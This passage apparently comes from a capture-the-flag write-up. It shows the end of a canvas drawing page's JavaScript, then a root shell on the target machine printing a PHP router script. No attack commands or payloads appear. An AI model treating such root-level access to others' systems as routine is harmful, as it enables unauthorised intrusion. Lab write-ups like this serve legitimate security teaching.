        document.querySelectorAll('.stroke-opt').forEach(b => b.classList.remove('active'));
        btn.classList.add('active');
        ctx.lineWidth = parseFloat(btn.dataset.w);
    });
});

function pos(e) {
    const rect = canvas.getBoundingClientRect();
    const scaleX = canvas.width / rect.width;
    const scaleY = canvas.height / rect.height;
    const point = e.touches ? e.touches[0] : e;
    return {
        x: (point.clientX - rect.left) * scaleX,
        y: (point.clientY - rect.top) * scaleY,
    };
}

function start(e) {
    e.preventDefault();
    drawing = true;
    const p = pos(e);
    ctx.beginPath();
    ctx.moveTo(p.x, p.y);
}

function move(e) {
    if (!drawing) return;
    e.preventDefault();
    const p = pos(e);
    ctx.lineTo(p.x, p.y);
    ctx.stroke();
}

function end() { drawing = false; }

canvas.addEventListener('mousedown', start);
canvas.addEventListener('mousemove', move);
canvas.addEventListener('mouseup', end);
canvas.addEventListener('mouseleave', end);
canvas.addEventListener('touchstart', start, { passive: false });
canvas.addEventListener('touchmove', move, { passive: false });
canvas.addEventListener('touchend', end);

document.addEventListener('keydown', e => {
    if ((e.metaKey || e.ctrlKey) && e.key === 'Enter') {
        e.preventDefault();
        sendCanvas();
    }
});

function clearCanvas() {
    ctx.clearRect(0, 0, canvas.width, canvas.height);
}

function sendCanvas() {
    document.getElementById('canvas_image').value = canvas.toDataURL('image/png');
    document.getElementById('canvasForm').submit();
}
</script>

</body>
</html>
bash-5.2# cat router.php
<?php
// router.php

register_shutdown_function(function () {
    $error = error_get_last();
    if ($error && in_array($error['type'], [
        E_ERROR,
        E_PARSE,
        E_CORE_ERROR,
        E_COMPILE_ERROR,
    ])) {
        // Log it if you want
        error_log("Fatal error detected, killing server");

        // HARD EXIT — this kills the server process
        posix_kill(posix_getpid(), SIGTERM);
        exit(1);
    }
});

// Normal static file handling
if (php_sapi_name() === 'cli-server') {
    $path = parse_url($_SERVER["REQUEST_URI"], PHP_URL_PATH);
    $file = __DIR__ . $path;
    if (is_file($file)) {
        return false;
    }
}

require __DIR__ . '/index.php';
bash-5.2#
Share on

Dany Sucuc
WRITTEN BY
sckull